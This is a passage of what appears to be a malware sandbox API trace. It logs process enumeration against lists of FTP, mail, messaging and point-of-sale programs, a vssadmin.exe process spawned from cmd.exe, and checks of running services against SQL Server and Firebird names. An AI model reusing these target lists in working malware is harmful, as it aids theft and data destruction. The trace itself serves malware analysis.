(lpString="filezilla.exe") returned 13 [0089.939] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0089.940] lstrlenW (lpString="flashfxp.exe") returned 12 [0089.940] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0089.941] lstrlenW (lpString="fling.exe") returned 9 [0089.941] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0089.942] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0089.942] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0089.943] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0089.943] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0089.944] lstrlenW (lpString="icq.exe") returned 7 [0089.944] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0089.945] lstrlenW (lpString="leechftp.exe") returned 12 [0089.945] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0089.946] lstrlenW (lpString="ncftp.exe") returned 9 [0089.946] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0089.947] lstrlenW (lpString="notepad.exe") returned 11 [0089.947] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0089.948] lstrlenW (lpString="operamail.exe") returned 13 [0089.948] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0089.951] lstrlenW (lpString="pidgin.exe") returned 10 [0089.951] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0089.952] lstrlenW (lpString="scriptftp.exe") returned 13 [0089.952] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0089.953] lstrlenW (lpString="skype.exe") returned 9 [0089.953] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0089.955] lstrlenW (lpString="smartftp.exe") returned 12 [0089.955] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0089.956] lstrlenW (lpString="thunderbird.exe") returned 15 [0089.956] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0089.957] lstrlenW (lpString="totalcmd.exe") returned 12 [0089.958] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0089.959] lstrlenW (lpString="trillian.exe") returned 12 [0089.959] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0089.960] lstrlenW (lpString="webdrive.exe") returned 12 [0089.961] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0089.962] lstrlenW (lpString="whatsapp.exe") returned 12 [0089.962] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0089.963] lstrlenW (lpString="winscp.exe") returned 10 [0089.963] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0090.197] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0090.198] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0090.199] lstrlenW (lpString="active-charge.exe") returned 17 [0090.199] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0090.200] lstrlenW (lpString="accupos.exe") returned 11 [0090.200] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0090.202] lstrlenW (lpString="afr38.exe") returned 9 [0090.202] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0090.203] lstrlenW (lpString="aldelo.exe") returned 10 [0090.203] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0090.204] lstrlenW (lpString="ccv_server.exe") returned 14 [0090.204] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0090.205] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0090.205] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0090.206] lstrlenW (lpString="creditservice.exe") returned 17 [0090.207] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0090.208] lstrlenW (lpString="edcsvr.exe") returned 10 [0090.208] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0090.209] lstrlenW (lpString="fpos.exe") returned 8 [0090.209] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0090.210] lstrlenW (lpString="isspos.exe") returned 10 [0090.210] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0090.211] lstrlenW (lpString="mxslipstream.exe") returned 16 [0090.211] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0090.213] lstrlenW (lpString="omnipos.exe") returned 11 [0090.213] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0090.214] lstrlenW (lpString="spcwin.exe") returned 10 [0090.214] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0090.216] lstrlenW (lpString="spgagentservice.exe") returned 19 [0090.216] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0090.217] lstrlenW (lpString="utg2.exe") returned 8 [0090.217] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0090.218] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0090.218] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0090.220] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0090.220] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0090.221] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0090.221] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0090.222] lstrlenW (lpString="achieve.exe") returned 11 [0090.222] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0090.223] lstrlenW (lpString="harvard.exe") returned 11 [0090.223] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0090.225] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0090.225] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0090.226] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0090.226] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0090.227] lstrlenW (lpString="taskhost.exe") returned 12 [0090.227] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0090.229] lstrlenW (lpString="mdskkv.exe") returned 10 [0090.229] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0090.230] lstrlenW (lpString="cmd.exe") returned 7 [0090.230] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0090.765] lstrlenW (lpString="conhost.exe") returned 11 [0090.771] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0090.815] lstrlenW (lpString="vssadmin.exe") returned 12 [0090.816] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0090.817] lstrlenW (lpString="VSSVC.exe") returned 9 [0090.817] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.818] lstrlenW (lpString="svchost.exe") returned 11 [0090.818] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0090.820] CloseHandle (hObject=0x18c) returned 1 [0090.820] Sleep (dwMilliseconds=0x1f4) [0091.900] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624f40 [0091.902] EnumServicesStatusExW (in: hSCManager=0x624f40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0091.903] GetLastError () returned 0xea [0091.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x133c) returned 0x6227d0 [0091.904] EnumServicesStatusExW (in: hSCManager=0x624f40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6227d0, cbBufSize=0x133c, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6227d0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0091.906] CloseServiceHandle (hSCObject=0x624f40) returned 1 [0091.906] lstrlenW (lpString="Appinfo") returned 7 [0091.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0091.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0091.907] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0091.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0091.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0091.907] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0091.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.907] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0091.907] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0091.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0091.907] lstrlenW (lpString="AudioSrv") returned 8 [0091.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0091.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0091.907] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0091.907] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0091.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0091.907] lstrlenW (lpString="BFE") returned 3 [0091.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0091.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0091.907] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0091.907] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0091.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0091.907] lstrlenW (lpString="CryptSvc") returned 8 [0091.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0091.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0091.908] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0091.908] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0091.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0091.908] lstrlenW (lpString="CscService") returned 10 [0091.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0091.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0091.908] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0091.908] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0091.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0091.908] lstrlenW (lpString="DcomLaunch") returned 10 [0091.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.908] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0091.908] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0091.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0091.908] lstrlenW (lpString="Dhcp") returned 4 [0091.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0091.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0091.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0091.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0091.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0091.909] lstrlenW (lpString="Dnscache") returned 8 [0091.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0091.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0091.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0091.909] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0091.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0091.909] lstrlenW (lpString="DPS") returned 3 [0091.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0091.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0091.909] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0091.909] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0091.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0091.909] lstrlenW (lpString="eventlog") returned 8 [0091.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0091.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0091.909] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0091.909] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0091.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0091.910] lstrlenW (lpString="EventSystem") returned 11 [0091.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0091.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0091.910] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0091.910] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0091.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0091.910] lstrlenW (lpString="FontCache") returned 9 [0091.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0091.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0091.910] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0091.910] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0091.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0091.910] lstrlenW (lpString="gpsvc") returned 5 [0091.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0091.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0091.910] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0091.910] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0091.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0091.910] lstrlenW (lpString="iphlpsvc") returned 8 [0091.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0091.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0091.911] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 